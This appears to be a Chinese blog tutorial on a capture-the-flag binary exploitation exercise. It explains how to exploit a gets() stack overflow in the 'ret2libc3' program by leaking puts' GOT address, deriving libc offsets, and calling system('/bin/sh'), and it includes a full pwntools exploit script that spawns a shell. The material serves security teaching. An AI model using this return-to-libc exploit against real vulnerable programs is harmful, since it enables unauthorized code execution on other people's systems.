泄漏libc获取shell的模板

这里用一个例子来讲解文件名叫ret2libc3可以自行下载。
这里写图片描述
这里只开启了NX保护,但是这才典型。下面讲述一下正常pwn的思路。
代码很简单,漏洞也很清楚,栈溢出。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets(&s);
  return 0;
}

这里没有system函数和‘/bin/sh’这个字符串。

我们的思路就是构造payload泄漏libc的版本通过加载这个版本的libc来获取程序中system函数和”/bin/sh”字符串的偏移,然后计算出函数的真实加载地址。
所谓的动态链接在linux中是延迟绑定技术,涉及了got表和plt表。这里就不多介绍,只说这里需要的
plt表:跳板,跳转到一个地址来加载libc库。文件中会对每个用到的函数分配一个plt函数
got表:经过plt表的跳转会跳转会在got表上写入地址,这个地址是函数调用的真实地址
注意:plt表只在程序调用函数之前有用,调用函数之后第二次执行这个函数就不会经过plt表。

加载:动态链接文件加载时有时候会重新改变基地址但是偏移(8位地址的后4位是一样的)是不变的(寻址方式是基地址+偏移量)

泄漏原理:
system_addr-libc_system=puts_addr-libc_puts=libc的偏移量
system_addr=puts_addr+(libc_system-libc_puts)
有了这个原理我们就可以获取到system函数了。

from pwn import *
elf=ELF("ret2libc3")


#获取elf文件中的puts,_start,puts
plt_puts=elf.plt['puts']  
plt_main=elf.symbols["_start"]  #symbols函数的作用跟plt一样,获取plt中的地址(在so文件中是获取偏移(就是文件中写入的地址)) 
got_puts=elf.got['puts']#这里的got表地址并不是真正运行时got表的地址具体是什么还需要大佬帮忙解答


#运行
pwn=process("./ret2libc3") #运行
pwn.readuntil("Can you find it !?")


#构造payload,发送,泄露函数实际地址,用于确定libc版本
payload=flat(['A'*112,plt_puts,plt_main,got_puts]) #112个A覆盖到返回地址,plt_puts覆盖了返回地址,返回时会执行plt_puts函数plt_main函数是puts函数的返回地址,got_puts是要泄露(leek)puts函数的返回地址作为puts函数的参数(i386是在栈中传递参数)
pwn.sendline(payload)
puts_addr=u32(pwn.recv()[0:4])
print("puts_addr:"+hex(puts_addr))#输出泄露的偏移地址可以查到libc版本

libc=ELF("libc6_2.23-0ubuntu10_i386.so")#这个库需要查到用libc-database  https://github.com/lieanu/LibcSearcher
#获取libc中的puts,system,/bin/sh的实际地址
libc_puts=libc.symbols['puts']   
libc_system=libc.symbols['system']
libc_binsh=next(libc.search("/bin/sh"))

#计算system,/bin/sh的实际加载地址
system_addr=puts_addr+(libc_system-libc_puts)
binsh_addr=puts_addr+(libc_binsh-libc_puts)


#第二次运行获取shell
poc_getshell=flat(["A"*112,system_addr,p32(66666),binsh_addr])#这里p32(66666)是返回地址,是占位的
pwn.sendline(poc_getshell)
pwn.interactive()

这里的libc版本是查出来的 工具叫libc-database-master 可以自己百度当然也可以给我要 (*  ̄3)。

猜你喜欢

转载自blog.csdn.net/qq_38204481/article/details/80329676
今日推荐